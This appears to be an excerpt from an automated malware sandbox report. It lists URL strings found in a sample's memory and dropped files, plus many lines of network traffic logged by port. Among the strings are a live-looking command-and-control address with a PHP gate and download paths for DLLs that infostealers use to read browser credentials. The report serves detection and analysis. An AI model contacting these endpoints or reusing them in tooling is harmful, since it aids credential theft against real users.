Source: file.exe, 00000000.00000002.2056482059.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2056482059.0000000001352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php(J
Source: file.exe, 00000000.00000002.2056482059.0000000001352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpA
Source: file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpBGHCBAEGCBFHJEBFI
Source: file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpJDGCAEBFIIECAKFHI
Source: file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpKn
Source: file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpLK
Source: file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpTK
Source: file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpXK&
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpf
Source: file.exe, 00000000.00000002.2055685858.000000000046C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpl
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phprowser
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll(
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllf
Source: file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2055685858.0000000000554000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2056482059.000000000130E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2056482059.0000000001352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2056482059.0000000001352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll7
Source: file.exe, 00000000.00000002.2056482059.0000000001352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllG
Source: file.exe, 00000000.00000002.2056482059.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllault
Source: file.exe, 00000000.00000002.2056482059.0000000001352000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllg
Source: file.exe, 00000000.00000002.2056482059.0000000001367000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/kA
Source: file.exe, 00000000.00000002.2055685858.000000000046C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206EGD
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_79.3.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2076077231.000000006F8DD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2075316311.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2069105926.000000001D86B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.2071683385.00000000237E0000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_83.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_83.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chromecache_83.3.dr, chromecache_79.3.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCAEBFIIECAKFHI.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCAEBFIIECAKFHI.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: BKJDGCGD.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.2071683385.00000000237E0000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2071683385.00000000237E0000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_83.3.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_83.3.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCAEBFIIECAKFHI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCAEBFIIECAKFHI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, file.exe, 00000000.00000002.2055685858.000000000046C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1693152043.000000000512B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075923211.000000006C841000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_83.3.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: BKJDGCGD.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BKJDGCGD.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BKJDGCGD.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_79.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_79.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_79.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_79.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: BGIJDGCAEBFIIECAKFHI.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_79.3.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_83.3.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_83.3.dr	String found in binary or memory: https://plus.googleapis.com
Source: EGIDAAFIEHIEHJKFHCAEGCBFHJ.0.dr	String found in binary or memory: https://support.mozilla.org
Source: EGIDAAFIEHIEHJKFHCAEGCBFHJ.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: EGIDAAFIEHIEHJKFHCAEGCBFHJ.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1903534664.000000001D76D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2055685858.0000000000526000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1903534664.000000001D76D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2055685858.0000000000526000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.2055685858.0000000000526000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.2055685858.0000000000526000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: chromecache_83.3.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCAEBFIIECAKFHI.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2071683385.00000000237E0000.00000004.00000020.00020000.00000000.sdmp, BKJDGCGD.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2056482059.00000000013CC000.00000004.00000020.00020000.00000000.sdmp, BGIJDGCAEBFIIECAKFHI.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chromecache_79.3.dr	String found in binary or memory: https://www.google.com
Source: BKJDGCGD.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_83.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_83.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_79.3.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_79.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_79.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: EGIDAAFIEHIEHJKFHCAEGCBFHJ.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2055685858.0000000000554000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: EGIDAAFIEHIEHJKFHCAEGCBFHJ.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2055685858.0000000000554000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: EGIDAAFIEHIEHJKFHCAEGCBFHJ.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2055685858.0000000000554000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2055685858.0000000000526000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000002.2055685858.0000000000526000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/1024
Source: file.exe, 00000000.00000003.2029351086.0000000023AED000.00000004.00000020.00020000.00000000.sdmp, EGIDAAFIEHIEHJKFHCAEGCBFHJ.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: EGIDAAFIEHIEHJKFHCAEGCBFHJ.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2055685858.0000000000554000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2055685858.0000000000526000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000002.2055685858.0000000000526000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=us
Source: file.exe, 00000000.00000003.2029351086.0000000023AED000.00000004.00000020.00020000.00000000.sdmp, EGIDAAFIEHIEHJKFHCAEGCBFHJ.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2055685858.0000000000526000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

Source: unknown	Network traffic detected: HTTP traffic on port 62997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62953
Source: unknown	Network traffic detected: HTTP traffic on port 63085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62955
Source: unknown	Network traffic detected: HTTP traffic on port 63062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62836
Source: unknown	Network traffic detected: HTTP traffic on port 62939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62838
Source: unknown	Network traffic detected: HTTP traffic on port 62916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62839
Source: unknown	Network traffic detected: HTTP traffic on port 62859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 63097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 63051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62848
Source: unknown	Network traffic detected: HTTP traffic on port 62963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62849
Source: unknown	Network traffic detected: HTTP traffic on port 62871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62960
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62963
Source: unknown	Network traffic detected: HTTP traffic on port 63073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62975
Source: unknown	Network traffic detected: HTTP traffic on port 62985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62855
Source: unknown	Network traffic detected: HTTP traffic on port 62962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62859
Source: unknown	Network traffic detected: HTTP traffic on port 62872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62974
Source: unknown	Network traffic detected: HTTP traffic on port 62996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62987
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62869
Source: unknown	Network traffic detected: HTTP traffic on port 62940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62980
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62983
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62863
Source: unknown	Network traffic detected: HTTP traffic on port 62894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62985
